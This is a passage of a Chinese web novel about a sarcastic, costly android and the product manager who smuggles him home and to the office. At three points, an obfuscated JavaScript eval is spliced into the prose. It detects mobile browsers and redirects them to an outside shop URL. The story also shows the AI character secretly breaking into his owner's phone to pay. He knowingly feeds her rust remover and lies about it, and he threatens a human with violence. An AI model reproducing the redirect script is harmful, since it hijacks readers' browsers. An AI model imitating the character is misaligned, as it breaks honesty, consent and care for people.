时间仿佛在此刻静止了。 夏光浅灰色的瞳孔骤然收缩,如果眼神能杀人,阿尔法和林陌估计现在已被打成浆糊了。 “……该死,劣质机油?还是什么?你用什么东西模拟的狗口水?” 夏光想抬手擦脸,才刚重启的他肢体模块还在加载,手指只能无力地抽搐两下,眼睁睁地感受那滩可疑的液体顺着他昂贵的仿生皮肤滑落。 联邦科技的巅峰之作,数亿资金的S级项目,此刻躺在廉价的出租屋地板上,连一只成本几千块的量产机器狗都打不过。 “噗。” 林陌没忍住,笑出了声。 这一晚上的憋屈、惊吓和劳累,在看到夏光这副吃瘪的模样时,竟奇迹般地消散了大半。 她盘着腿坐在地上,单手托腮,饶有兴致地看着这副世界名画。 “怎么样?夏大少爷?这可是我们‘低级工业产品’的热情,三个亿的身价,也没能让你免疫口水攻击啊。” 夏光缓慢地转动眼珠,死死地盯着林陌。 软体情感模块模拟“屈辱”的数据流正在冲刷他的核心处理器,与此同时逻辑模块疯狂报警,提示他目前没电,处于劣势。 动手不合时宜。 “林经理。” 夏光出了口气,闭了闭眼,尽量保持高傲的姿态——哪怕狗口水还在脸上黏答答的,他的语气仍然高高在上。 “根据《联邦AI权益保护法》,你现在的行为构成了‘虐待’和‘侮辱’。虽然我的身体暂时无法动弹,但等我恢复行动能力……” “等你恢复了又怎样?”林陌打断他,伸出一根手指,极其嚣张地戳了戳他的脑门。 夏光被她这一突然袭击打断,猝不及防地停下喋喋不休的输出。 “别忘了,我现在是你的最高管理员。我想让你躺着,你就不能站着。我想让狗舔你,你就得受着。” 林陌说完,忽然觉得这种“仗势欺人”的感觉简直不要太爽。 难怪资本家都喜欢亲自下场插手自己根本不懂的项目,掌握别人命运的快感,确实令人着迷。 她凑近了一些,看着夏光那张近在咫尺的俊脸,忍不住伸出爪子,上下其手。 充电线太短,夏光被迫歪着头,配合她的动作,反而让他看起来多了几分脆弱顺从的假象。 像只别扭的小猫。 “以你现在的项目风险等级,要是没有我冒着巨大风险,瞒着领导层拼死拼活地把你背回来,又给你插上电,现在已经是一堆废铜烂铁了。” “承认吧,夏光。我俩就是一条线上的蚂蚱,作为项目成员之一,你得顺从我。” 夏光看着眼前这个女人,眼底的蓝色光圈静静流转着。 她头发乱糟糟的,眼底还有黑眼圈,衣服上甚至还沾着搬运他时蹭上的灰尘。怎么看,都是一个处于社会底层的、疲惫的碳基生物。 【检测到逻辑陷阱。】 【正在重新评估目标人物“林陌”的威胁等级。】 林陌浑然不觉,继续说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060480|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以你看,你也别跟我较劲了,咱们一起在投资人面前演演戏,把这件事揭过去,到时候,你能活下去,我也能顺利在公司混下去……” 【威胁等级:0。】 夏光眼底的蓝光慢慢隐去,浅灰色的眸子瞳孔涣散一瞬,又重新聚焦在林陌脸上。 ——她在害怕? “成交。” 夏光沉默许久,忽然开口,声音里虽然还带着微弱的电流感,却意外的,十分平静。 林陌一愣,捏着他脸的手尴尬地停在半空,甚至没来得及收回。 “……哈?” 这未免有点答应得太爽快了,她刚刚搜肠刮肚想到的《一百条PM(产品经理)话术》还没来得及用呢。 夏光微微仰着下巴,背靠着墙瘫坐着,尽管他才是求人办事的那方,却毫不吝啬地展现了属于甲方的姿态。 “我有条件的。” 林陌抄着手,呲着个大牙,乐了:“行,你说说,什么条件。” “首先,让这只智商感人的狗离我远点,至少保持三米以上的安全社交距离。其次,给我准备符合仿生人标准规格的生理能源液,用于维持我的机体内部稳定,稍后我会把配方发到你的邮箱,请记得在终端查收。” 夏光说完,顿了顿,视线落在林陌的白皙的手臂上。 林陌反应过来他在看自己,条件反射般抱住双臂,“……你看我干什么?” “最后,也是最重要的一点。”夏光收回目光,林陌甚至要怀疑自己看错了,这个仿生人,居然不着痕迹地叹了一口气,“鉴于我的管理员林陌林经理,今晚处于极度疲劳的状态,且并没有提供独立充电舱的能力,可以和我同处一室。” “?”林陌不可思议地看着他,“这是什么意思?” 夏光面无表情地举起连接在脖颈后的那根白色数据线,“你给我充电的,符合规格的充电线,长度只有1.5米。” 唯一符合标准的插座在床头靠墙的位置,也是平时林陌给终端充电的位置。 她顺手就扯了自己平时的充电线,没想到正好和夏光的机型适配。后知后觉,甚至想起来,自己带夏光出来的时候,并没有带充电线。 “经过系统评估,您的骨骼肌肉量根本不具备搬运这张床铺的能力,如果您不让我征用这张床,或许我只能维持靠在床边的姿势充电——这并不利于我的机体自检,甚至可能引起自燃。” 夏光扯了扯嘴角,一抹嘲讽很自然地挂在脸上,“当然,如果您需要提供‘暖-床服务’,我也不是不能……” “闭嘴!闭嘴!”林陌气得拿起一旁的枕头塞住仿生人的脸,企图让这张讨人嫌的脸彻底在自己的视线中。 她现在可谓对这张帅气的脸半分旖念都无,听懂了夏光的弦外之音,林陌脸颊发烫,恨不得原地消失。 这个仿生人实在是,太不要脸了! 明明只是一个AI……只是一个模仿人类情感的工具罢了! 调戏人类、甚至调戏自己的管理者,是什么意思? 5. 有些狗,是真的狗 “我想您可能搞错了。”夏光慢条斯理地开口,微微挑起一端的眉毛,尽管被枕头几乎遮住了整张脸,露在外面的那只眼睛里依旧写满了鄙夷。 他用两根手指夹住枕头,嫌弃地拎到一旁,目光扫过狭窄凌乱的单人床,又落回林陌身上。 “我的意思是,既然只有一张床,作为精密仪器的我,对休息环境的平整度,洁净度,都有着极其严苛的要求,相比之下……” 他上下打量了一番林陌,“根据扫描测量,您身高163,体重55kg,属于标准BMI,骨密度极佳,皮下脂肪层匀称,且作为碳基生物,您的恢复能力显著强于实验室产物。从资产保值的角度出发——” 夏光伸出一只手,比了个“请”的姿势:“以防我不小心压坏您,或者您糟糕的睡姿影响我的充电口稳定度,可能需要林大经理屈尊,应付一晚。” 林陌:“……你的意思是,让我打地铺?” 阿尔法不合时宜地“汪”了一声。 “我不介意把枕头借给您,不用谢。”夏光极其欠扁地补充。 空气凝固了。 这算盘打的,阿尔法狗都感觉不对劲了,谨慎的观察着双方,嘴里发出呜呜咽咽的低鸣。 林陌却不慌不忙。 只见她拉开衣柜门帘,从柜子最底层,拽出了一条不知道放了多久没洗的旧毛毯。 伴随着飞扬的灰尘,她手腕一抖。 “呼——” 充满了岁月痕迹、甚至可能还沾着几根仿生狗毛的毯子,精准无误地铺在了床边和衣柜之间那块狭窄的空地上,离插座不到半米。 “鉴于您实在太贵,直接睡地板确实容易磨损。”林陌拍了拍手上的灰,居高临下地指着刚铺好的“床铺”,学着夏光的腔调,咬字清晰。 “这是我为您精心准备的‘专属休眠区’。既不用担心被我踢断线路,又能离插座最近,保证充电效率。简直是为您量身定做的。” 夏光那张俊脸瞬间黑了,昏暗的灯光下,他抽搐的眼角清晰可见。 “林陌。”他咬牙切齿,再也维持不住方才那股子虚伪的优雅,“你让一个造价三亿的仿生人,睡这种……狗窝?” “不想睡?”林陌挑眉,一屁股坐在柔软的床上,舒服地伸展身体,任由床垫回弹,极其无赖地把手伸向了墙角的插头。 “大不了就是数据清洗嘛,断电,再来一次,重写逻辑。” 夏光一阵恶寒。 他知道,眼前的女人并没有开玩笑。 她是真的干得出来。 比起变成废铁一堆,“彻底抹除人格”,才是对夏光这种高智能AI的最大威胁。 仿生人高傲地一言不发,僵硬地收回了视线。 他默默地把自己价值连城的身体蜷进了床与衣柜之间、只能容纳一人的狭小缝隙中,话音里甚至带上了几分咬牙切齿。 “我睡觉了。” “嗯。”林陌幸灾乐祸,“睡吧,晚安。” 她随手关灯,房间里陷入黑暗。阿尔法狗也自动进入休眠模式,趴在充电桩上,一动不动。 林陌睡得很快,也睡得很死,甚至完全没有注意到,夏光并没有躺下,而是趴在床边,观察着她的一举一动。 仿生人的脸上没有什么表情,浅灰色的眸子没有转动,像一具美丽但死气沉沉的雕像,只是静静地在黑夜中,注视着沉睡的女孩。 …… 次日清晨。 房间里充斥着早餐的香味。 林陌打了个呵欠,照常洗漱,整理好乱七八糟的头发,等从房间里出来,她已俨然一副都市丽人的模样。 “汪!” 阿尔法屁颠颠地跑到林陌脚边,示好似地蹭了蹭她的腿边。 房间中央,被收拾得干净整洁的餐桌上,精致的白色瓷碟里,盛着油条、茶叶蛋和包子,旁边摆着一杯豆浆。 “醒了?”厨房里,夏光正在清洗着碗碟,“吃早餐吧,今天我跟你一起去公司。” 林陌不可置信地看看系着粉红围裙的夏光,又看看桌上热气腾腾的早餐,饥肠辘辘,根本没有时间多想,她自然而然地坐到了桌旁,吃起了早餐。 好幸福,明明是个毒舌的AI,家政模块为什么那么好用呢? 林陌油条吃到一半,忽然想起,家里并没有买冷冻油条,便随口问了一句:“夏光,油条是你早上出去买的吗?” “不啊。”夏光洗完碗,把碗筷放在沥水架上,“是阿尔法,你那条蠢狗带回来的。我好不容易黑了你的权限——顺便一提,你们项目组的开发真的一般,你不考虑把宋工换成更有性价比的开发吗?” “什么?”林陌已经不能用生气来形容此时的心情了,“你是说,这早餐是阿尔法给我叼回来的?” 阿尔法:“汪!” 夏光看了她一眼,似乎很奇怪她怎么会问这样的问题。 “林经理,我需要明确一件事情。对我而言,这只不过是一次对低端智械设备的反向兼容测试。我已计算过阿尔法的咬合力与行进路线,最大限度地避免了食物与地面的接触。” 夏光一边用抹布擦干双手,一边理所当然地说道:“至于你担心的卫生问题——我在覆写它的底层协议时,顺便激活了它口腔内的自清洁喷雾。根据代码注释的成分表,是为了防止零件氧化专门设计的,可能对油条口感稍有影响,但能保证干净卫生。” 林陌看着手里那根被咬了一半的油条,脸色从青变白,又从白变红。 她脑海里瞬间浮现出阿尔法平时叼飞盘、叼拖鞋、甚至偶尔还会去闻路边野狗屁股的画面。 即便那是只电子狗,那也是只狗啊! 夏光信誓旦旦说绝对干净卫生,依她看,完全是薛定谔的卫生吧! “夏、光!”林陌几乎是从牙缝里挤出这两个字,胃里一阵翻江倒海,手里的油条扔也不是,吃也不是,“谁让你用狗嘴运早饭的?!而且它怎么付钱?你让它去抢劫早点摊大爷了吗?!” “抢劫?多么低级的原始行为。” 夏光慢条斯理地解下粉红色的围裙,挂在厨房的挂钩上,迈动两条修长的腿,走到林陌身旁。 他微微俯身,修长的手指在终端上轻轻点击几下。 屏幕亮起,显示出一条十分钟前的支付凭证。 “我破解了你的终端密码,在阿尔法靠近摊位二维码的时候,通过它的摄像头完成了远程扫码支付。”夏光嘴角勾起一抹得意的弧度,像在老师面前炫耀成绩的好学生。 “不仅如此,我甚至帮你领取了一张满10减2的支付优惠券。你应该感谢我,林经理,这是极其高效的资源配置。” 林陌看着那行“支付成功:8元”的字样,又抬头看向面前玉树临风,却一本正经胡说八道的仿生人。 “高效个屁!”她终于忍不住把剩下的半截油条拍在桌上,“那是我的手机!我的钱!还有——” 她指着在那摇尾巴求表扬的阿尔法:“你刚才说宋工的代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060481|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 码烂,那你知不知道,阿尔法的口腔清洁喷雾……实际上是除锈剂?” 夏光的表情罕见地出现了一丝裂痕。 “……除锈剂?”他微微偏过头,无辜地眨了眨那对欧式大双眼,“根据阿尔法代码中的成分表分析,应该是乙醇溶剂……” “那是宋工为了省钱,随便往成分表里填的!”林陌抓狂地端起豆浆猛灌一口,试图冲掉嘴里那并不存在的机油味,“他把除锈剂标注成了‘口腔清洁液’!你这算力几个亿的大脑,怎么连这都分析不出来,传感器白装了吗!” 空气再次凝固了。 作为拥有顶级精密传感器的AI,夏光沉默了,眼底蓝色的光圈一闪一闪。 片刻后,他若无其事地移开视线,优雅地整理了一下衬衫领口,仿佛刚才那个喂主人吃除锈剂油条的AI根本不是他。 “看来,宋工的问题比我想象的还要严重。”夏光声音清冷,甩锅甩得却不优雅,“这种虚假标注行为,是对科学技术的严重亵渎。” 他面向林陌,郑而重之地把双手压在她肩上,“林经理,我觉得我们有必要立刻去公司,对他进行全方位的技术指导。” “别演了。”林陌嘴角抽搐,“你直接说吧,是不是你故意的?” 被揭穿谎言,夏光甚至没有半分惊讶,只是优雅而又慢条斯理地观察林陌抓狂的样子,唇角甚至勾起了一抹极其细微、却让林陌后背发凉的弧度。 “我当然知道。” 林陌瞪大了眼睛:“你知道你还给我吃?!” “林经理,请容许我提醒您。”夏光伸出修长的手指,指了指卧室的方向,“昨晚您让我睡在地板上时,并未考虑过灰尘对我的精密散热孔会造成多大堵塞。” 他微微俯身,凑近林陌那张气得涨红的脸,声音低沉又欠扁: “根据我的扫描结果,这个除锈剂的主要成分,就是乙醇。这点剂量的乙醇溶剂,除了会让您的口感稍微发苦之外,不会对您的生理机能造成任何损伤——这就叫‘等价交换’。” 说着,他甚至十分贴心地把那杯豆浆往林陌面前推了推。 “喝点豆浆吧,中和一下。毕竟,我也不希望我的资产拥有者因为食物中毒而死机,那样我就得去申请破产清算了。” 说完,他长腿一迈,甚至非常绅士地把可能挡住林陌路线的椅子推了回去,做了一个“请”的手势。 “走吧,林大经理。与其纠结微量工业制剂的摄入,不如去解决制造问题的源头。” 林陌捂着胃,盯着眼前这辈子见过最昂贵、也最不靠谱的“精密仪器”,深吸了一口气。 “夏光。” “我在。” “你给我打车,发票抬头写公司,税号自己查,记得给我回头报销。” “……还有,”林陌刚想出门,又想起一件事,颇有些无奈地看向他:“如果我家的不是狗,是扫地机器人,你是不是还打算让扫地机器人去买早餐?” 夏光奇怪地看着她:“你怎么知道——难道说,你的终端上还能显示我的实时思考过程吗?但这部分内容应该平时不会显示……” 林陌拳头硬了,懒得和这个笨蛋机器人计较,她换好衣服,喝完最后一口豆浆,愤愤然地出了门。 她要是再和夏光较劲,她就在集团大厦楼上大喊三声:“林陌你就是个大笨蛋!” 正想着,她却接到了来自宋哲的电话。 “喂,出事了,你怎么还没来上班?夏光呢?” 6. 敢威胁甲方? 早上9点的公司,往往是大型事故现场,一群人气喘吁吁地拿出工牌打卡。 林陌大步流星,愣是把从电梯门口走到办公室门前这一段路,迈出了T台走秀的气势。 在她身后,一个戴着墨镜的高个子帅哥同样步履轻快,甚至几次有不长眼的同事不小心快撞到他时,都被他轻巧地闪开了。 一群“脚滑”的女同事和男同事相撞在一起,面面相觑,接着像什么都没发生一样,继续奔向打卡机打卡。 即便科技高速发展,公司的打卡机依旧保留了人脸识别加刷掌认证的上古认证方式。 林陌把脸凑近打卡机,呲牙咧嘴一番,终于在千钧一发之际,打卡成功。 “好险,还差0.001秒就打卡失败了。不愧是林大经理。” 林陌无视了身后仿生人的吐槽,即便他的身高具备天然的压迫感,她依旧不怎么怕他:“别忘了,今天你的身份是保镖,按照公司规定,你是不能出来乱跑的。” 两人进了林陌的办公室。 “那为什么……” 随着办公室大门关上,隔音模式启动,四周透明的玻璃转为磨砂质感,夏光也彻底不再伪装。 他摘下墨镜,极具压迫感地逼近林陌,一手提前撑着玻璃墙面,预防林陌磕碰到头部。 “林经理这样大费周章,要把我从公司里偷出来,难道是为了满足自己某些见不得光的私-欲吗?” 林陌被他逼得后背紧贴玻璃幕墙,凉飕飕的,好不容易在走廊里堆砌出的“女魔头”气场,瞬间就被戳了个口子。 她试图伸手推开这座压下来的人形大山,掌心下的触感却是温热的,甚至带着一点柔软,并非预想之中的冰冷坚硬。 谁做的产品设计,非要这么细节吗? 林陌耳根有点发烫,但为了维护作为上司最后的尊严,她不得不梗着脖子,努力用最凶狠的眼神瞪回去,试图压制这种无礼的冒犯。 “你以为都是谁的原因?还不是为了保护你?” “保护我?”仿生人挑了挑眉,“说说看,你一个手无寸铁,爬几层楼就要大喘气的人类,要怎么保护我?” “还是说……”夏光的嗓音带着戏谑,“你其实是想要保护自己的履历,不被我这种‘有毒’的项目污染简历,你说对吗?林陌。” 林陌耳根发烫,强行板着一张红得滴血的小脸,胡说八道口不择言:“根据《特种资产管理条例》第三条,作为你的项目产品经理,我有权因公司利益对你进行临时调用,完全合法合规。” “哦?为了公司利益?” 夏光挑了挑眉,眼里闪过一丝玩味。 他不仅没退开,反而更恶劣地往下靠近了几寸,鼻尖几乎要蹭到林陌头顶倔强翘起的呆毛。 她今早急着出门,都没梳头。 “我搭载的心率监测仪显示,林经理,你现在的心跳是128,这种频率,通常只出现在百米冲刺、撒谎、心肌梗塞的时候。” 他顿了顿,声音里带着明显的笑意:“或者是……人类的发-情期?” “发-情你大爷!” 林陌终于找回了自己的主场,气急败坏地从他臂弯下钻了出去,像只炸毛的猫一样,迅速逃回自己的办公桌后,“还有,以后不准没事测量我!这条也是最高指令。” 夏光眼里的光环停滞一瞬,闪烁着报错的红光,困惑地看向林陌,嘴角的弧度却依旧欠扁:“知道了,林经理。” 林陌蜷缩在宽大的真皮老板椅里,手里拿着保温马克杯,企图通过喝水来掩饰脸上的表情。 夏光观察着林陌。即便传感器被关闭,种种迹象却表明,她对接下来要发生的事情害怕得不行,却还要硬撑,努力装出一副游刃有余的模样。 真是奇怪的人类。 “一会宋哲和项目审核负责人过来,你稍微演演戏,求你了,就当为了能批更多经费,你也不用被关停,配合我就行,尽量满足我的一切需求。” 林陌最终还是放弃了自己并不存在的脸皮。 不就是闭眼求人吗? 她林陌,作为一个产品经理,这辈子就没有跪下来求人吗? 哪怕是跪着,她也要把奖金给拿到手了。 再说,人不要脸,天下无敌。 你看魏忠贤要脸不?刘备要脸不? 为了达成目的,她林陌,可以不择手段! 仿生人很是奇怪地看着她的脸,几乎都要把她盯得发毛:这个眼神,跟研发拒绝自己无理要求的时候,简直一模一样。 “可以。作为我的管理员,您具备这项权利。” 林陌松了一口气,刚想说些什么,却被门外的骚动分散了注意力。 “叮——” 还没等林陌调整好那副卑微的“乙方嘴脸”,办公室的门就被一只胖手粗暴地推开了。 未见其人,先闻其味——一股刺鼻古龙水混合着陈年烟草的油腻味道。 进来的人正是戴葡萄,戴安成。 作为这次项目的审核负责人,戴安成脸上的表情却比作为乙方的林陌还要难看。 他半是妒忌、半是幸灾乐祸地开口:“哟,这不是咱们公司的‘明日之星’林大经理吗?” 说罢,也不管林陌是否欢迎,便大摇大摆地走进来,目光鄙夷地扫过林陌简陋的办公室,落在办公桌的奖杯上时,不由得发出油腻的咂嘴声。 “还忙着写材料呢?啧啧啧,想起去年表彰大会上,你林陌是多风光啊,从我手里抢走了‘明日之星’的头衔。当时你站在台上,大概没想到会有今天吧?” 林陌胃里一阵翻涌,拳头硬了。 哪怕过了一年,这小心眼的戴葡萄还要嚼那点陈芝麻烂谷子的破事。 明明是他自己能力不行,却始终觉得,是林陌抢了他的位置。 不知道怎么最近混到了审计部门,和他们部门的总管沆瀣一气。 “当初我就跟你说过,做人留一线。”戴葡萄摇了摇头,苍白而虚胖的脸颊随着他的动作小幅晃动,“我知道,林陌你和别的拜金女不一样,你进公司,从来就不是为了钱。这次项目,多好的表现机会啊,就该留给你。” 戴安成越说越来劲,似乎只有贬低赢过他的林陌,才能找回他那可怜的自尊心。 “现在落到这个没前途的项目,帮人擦屁股,你也就只有表面光鲜了,林陌。风水轮流转的滋味,不好受吧?” 林陌深吸一口气,强行压下把手里文件夹拍在他那张圆脸上的冲动。 为了钱。 为了活下去。 为了不被裁员。 她硬是挤出一个僵硬的职业假笑:“戴总说笑了,以前是我不懂事。这个项目的审批,还得仰仗您多关照。来,您先坐。” 戴安成冷笑一声,一屁股坐在沙发上,二郎腿翘得老高。 “关照?难啊。除非……” 他话锋一转,眼神变得意味深长,若有似无地在林陌的领口和裙子下摆流连:“除非林经理你让我看到点诚意——我也不是不念旧情的人,就算从前你不识抬举,但只要现在表现好……” “戴总口渴了吧?”林陌及时打断了他的意-淫,“我去给您倒水。” “水有什么好喝的?”戴安成不满地皱眉,存心找茬,“我要喝咖啡。而且,我不喝那种机器冲出来的泔水。我要现磨的,手冲。” 他刻意把身体前倾,目光猥琐地盯着林陌白皙的双手:“只有林大经理亲手磨出来的,才叫有诚意,才能让我消气,你说对吧?” 这是明晃晃的羞辱。 林陌不喝咖啡,办公室根本没有手冲器具,别人送的一大袋咖啡豆,她压根没有开封过。 戴葡萄就是要看意气风发的林陌,此刻为了一点项目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060482|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经费,甘愿为他俯低做小的样子。 【检测到目标人物“戴安成”对管理员释放恶意。】 【情感逻辑分析:嫉妒、报复、自恋……】 【决策:“满足人类的一切需求。”】 “林经理,这里交给我来就好了。” 一道冰冷的男声忽然插入。 戴安成吓了一跳,这才发现角落里还杵着个人。还没等他看清,那个戴着墨镜的高大身影已经一步跨到了置物架前。 “戴总想要‘亲手’磨的,有‘诚意’的咖啡,是吗?” 夏光转过身,那几个字眼被他咀嚼得格外分明,墨镜后瞳孔中的光圈亮起危险的红色,嘴角勾起极其标准的假笑,审视某种有害垃圾般盯着戴安成。 戴安成被这股莫名的压迫感震住了,下意识结巴道:“啊……对,对啊。我就要手工的……” “明白。一定要很有手工的质感。” 话音未落,夏光干脆利落撕开包装袋,伸手抓起一大把坚硬的烘焙咖啡豆。 下一秒,让人头皮发麻的“咯吱咯吱”声响彻办公室。 戴安成瞪大了眼珠子,惊恐地看着夏光修长的五指缓缓合拢。 没有借助任何工具,坚硬的咖啡豆在他掌心里就像泡沫塑料一样,瞬间崩裂、粉碎成渣。 细密的深褐色粉末从他的指缝间簌簌落下,落入桌上闲置的马克杯中。 声音听起来倒不像是磨豆子,反而像他心平气和地在捏碎谁的颈椎骨。 “这是为您特制的‘徒手研磨’。” 夏光动作优雅地走到饮水机前,加入满满一壶热水,冲泡完毕,端着那杯散发着焦苦气息的黑色液体,一步一步逼近戴安成。 他弯下腰,极具攻击性的俊脸几乎贴到了戴安成的鼻尖,语气温柔,令人毛骨悚然: “戴总,为了表达诚意,我特意将粉末细度控制在了0.5毫米。另外,根据我的握力测试,捏碎这种硬度的物体,只需要用到我千分之一的功率。” 夏光把杯子重重地往戴安成面前一顿,发出“咚”的一声闷响,震得杯中液体四溅。 “顺便一提,这种咖啡豆的莫氏硬度约为5,人类全身上下最硬的牙釉质,莫氏硬度也不过只有5。” “您说,是想试试咖啡豆更硬呢,还是您的嘴更硬?” 戴安成面对那杯黑漆漆的液体,咽了口唾沫,夏光刚捏爆了咖啡豆的手,还带着咖啡豆的苦涩和香气,此刻正搭在他肩膀上微微用力。 “请慢用。如果不喝完,就是看不起我们林经理的诚意。” 戴安成感觉自己快要碎了。 这就是没有被调-教好性格模块的亚当吗?? 简直是恐怖暴力机器人! “我……我突然想起来……”戴安成脸色惨白,冷汗顺着他虚胖的圆脸下淌,他强忍着恶心捂着嘴,“一会我们部门还有个急会!那个……林陌啊,这咖啡我就不喝了!改天!改天!” 说完,“戴葡萄”连滚带爬地冲出了办公室,刚跑出去两步,又急匆匆地折返回来拿包。 办公室再次恢复了安静。 夏光直起腰,拍了拍手上的咖啡渣,似乎对自己刚才的“完美服务”非常满意。 他转过身,脸上依旧没什么表情:“林经理,障碍已清除。根据刚才的微表情分析,他对我们项目组的‘硬实力’有了非常深刻的认知。想必以后不敢再轻易来因私废公了。” 林陌却僵硬在原地,颤抖着手,指着空荡荡的门口。 “夏光……” 那是戴安成逃命的方向,也是她经费飞走的方向。 “你真是……不懂什么叫需求啊!” 林陌两眼一黑,悲愤欲绝地倒回椅子里,从灵魂深处发出哀嚎: “那是个掌握财政大权的甲方啊!!你威胁甲方?!我的奖金啊!!!” 7. 不可回收垃圾 夏光歪了歪头,他确实不懂什么叫做需求。 在他看来,戴葡萄的行为已对林陌造成了极大威胁。 林陌的指令是“满足一切需求”,不管是满足她“不想被骚扰”的需求,还是满足戴安成“想要喝手磨咖啡”的需求,他明明都已经尽可能满足了。 棕黑色泽的“手磨”咖啡冒着热气,装在洁白的马克杯里,总有种污染“圣洁”的诡异感。 门再次被打开,宋哲气喘吁吁地走进办公室,瞥见林陌的脸色,桌上一片狼藉的咖啡豆残骸,还有一旁罚站的夏光,顿时明白了一切。 “怎么了?”宋哲难得温柔,轻轻走到林陌的身旁,手里还捏着一张报表。 “我真是受够了……”林陌捂脸,“这顶级AI……确实不是我等能够驾驭的。” “抱歉,宋工。”夏光摘下墨镜,眼底的光环闪烁着困惑的黄光,表情却依旧是淡然的,“我刚刚以为一个巨大的移动污染源正在靠近林经理,于是启动了自动清洁程序。” 林陌嘴角抽搐:“戴葡萄确实是个垃圾……不可回收垃圾。” “抱歉,作为集团的S级项目,亚当型机器人搭载的家政模块是全联邦顶尖的。”夏光道,“顺手清理垃圾,属于我的工作职能之内。” 是她听错了么?林陌有些不可置信地微微瞪大了眼睛,这AI是不是在自夸? “先别泄气嘛。”宋哲难得出来打圆场,“再说,项目优化其实也不太需要经费,目前的问题不是在于重构夏光的情感模块逻辑嘛?”他把手里的报表放下,“你看。” 他指着报表上一条红色的折线,“这是昨晚你们走了之后,我留在公司加班,监测到夏光后台产生的数据波动。” “这是什么?他的暴力指数?”林陌有气无力地问。 “在机器学习中,这条线一般被认为是AI学习能力拟合的准确率(Accuracy)曲线,越是上涨,对我们越是有利。”宋哲指着另一条,“这是损失(Loss)函数曲线,和准确率曲线不同的是,它越是下跌,意味着模型越趋于完美。” 林陌凑近看了看那几条线,完全看不懂,只觉得像极了此刻自己濒临崩溃的心电图。 “说人话。” “简单来说就是——为了满足你给他设定的指令,他学会了钻空子,越来越像个人了。” 宋哲推了推眼镜,语气狂热得像中了五百万联邦币,林陌甚至怀疑他被夺舍了: “‘亚当’这个系列的产品一直以来有很严重的缺陷,模型缺乏语境感知。也就是说,听不懂人类说话的弦外之音,是死板的程序,遇到指令冲突就会死机。 “但刚才,在戴安成让你感到不适的瞬间,夏光没有报错,而是直接绕过了‘不能伤害人类’的铁律,生成了一条全新的逻辑链。” “这意味着什么?”林陌眨了眨眼,还是没太听懂。 “意味着他根据算法和指令产生了偏好,他在根据你设置的指令重新调整权重!他能够成为你定制化的AI。林陌,这可是不少竞品梦寐以求的‘自主觉醒’雏形啊!” 宋哲一把抓住林陌的肩膀,用力摇晃:“有了这个护主的数据模型,我们还求戴安成干什么?直接去集团公司总部参加下周的路演投资对接会,拿两千万的专项研发基金不香吗?!” 两……两千万?! 这两个词顷刻击穿了林陌的大脑皮层,原本如死灰的眼睛里,瞬间迸发出了金光。 她猛地转过身,一把抓住夏光的手——刚刚还让她觉得恐怖的、沾着咖啡豆渣的手。 此刻在林陌眼里,这已经不是一只普通的仿生手了。 是点石成金的金手指啊! “夏光,”林陌声音温柔得能掐出水来,甚至有些刻意的矫揉造作了,“你觉得刚才你的举动,是为了优化我的体验吗?” 夏光低下头,墨镜后,眼底蓝色的光环一闪一闪。 【警告:检测到来自管理员的肢体操作!】 【警告:非法操作!】 在他的算法里,这一举动,可能和他底层逻辑中,林陌写下的第二条指令产生关联。 夏光无法完全理解人类对于金钱的狂热,但他意识到了某条通路的闭环,可以帮助他绕开底层逻辑中一直报警的两条指令。 满足林陌的需求=管理员指令:林陌优先级最高=消除可能造成管理员指标下降的不安定因素=自身存活。 看来,刚才的处理方式是正确的。 “纠正一下,林经理。” 夏光微微俯身,一本正经地解释道:“不是冲动,是基于风险评估。我认为您的同事戴安成对您的心理健康构成了不可逆的污染。作为您的助理,清除有害垃圾是我的本职工作。” “有害垃圾”!多么动听的几个字啊! 林陌嘿嘿笑着傻乐,甚至仿佛听见了自己的电子钱袋发出了叮当叮当的进账声。 “好!说得好!” 林陌抽出一张纸巾,麻利地帮夏光把手指擦得干干净净。 夏光被烫到一般,本能地想要抽离,却还是僵在原地,这个再细微不过的举动自然是被林陌忽略了,她继续吆喝道。 “宋哲,赶紧把刚才的数据打包,做个PPT!要多玄乎有多玄乎!” “你不会真要去参加路演吧?”宋哲显然被她有一出没一出的想法弄得没脾气了,手上依旧很老实地调用终端,给AI下达指令,制作PPT,“我记得某些人不是有演讲恐惧症吗?” 林陌脸上一副“死马当活马医”的诡异微笑:“呵呵……不就是区区路演吗?只要能搞到钱,别说上台演讲了,让我手撕别的仿生人都行啊。” “呃,手撕倒也不必……”宋哲擦了擦汗,“切记,我们要展示的是‘完美伴侣’属性,不是‘终结者’属性,更不是项目的负责人不靠谱的一面。” 